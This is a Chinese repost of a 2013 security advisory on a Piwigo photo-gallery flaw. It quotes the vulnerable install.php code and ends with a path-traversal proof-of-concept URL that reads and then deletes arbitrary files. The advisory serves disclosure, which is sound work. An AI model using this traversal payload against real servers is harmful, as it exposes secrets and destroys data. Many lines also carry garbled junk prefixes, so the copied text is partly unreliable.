Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

' b+ L% T8 q. y( |6 t; ^! fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
$ N3 N$ j1 `1 a2 g) X4 z' \7 f====================================================================
( S4 Y/ W; E) f; `* N6 E/install.php:
" \8 v2 a5 Y1 N' L- s; w/ ?, @6 g% v-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
. i8 i' [/ d# m; t( d. {: e- r5 Y115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
; a, n  |3 ]5 n5 u  _117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
- g6 j- b$ ~2 a3 W119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
, u# l7 T  G* v3 t3 V122:   unlink($filename);
123:   exit();
124: }
5 g# z0 m: Z5 T% v# J====================================================================
7 P& Z( ^2 O. I# b7 |
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
. z: C  ?" [9 O- o! h/ ]9 `. V1 h                            @zeroscience

) j" j; ]2 K8 n/ jAdvisory ID: ZSL-2013-5127
1 f- X" W0 l2 m9 EAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
- U( H) ^  J$ e: r: S" iVendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

" l3 R  O3 u. L7 a4 y& {) Q--
# O8 _, F6 `% x5 H; D& whttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
3 \( Y, F% x! O$ l4 _3 |8 S$ ]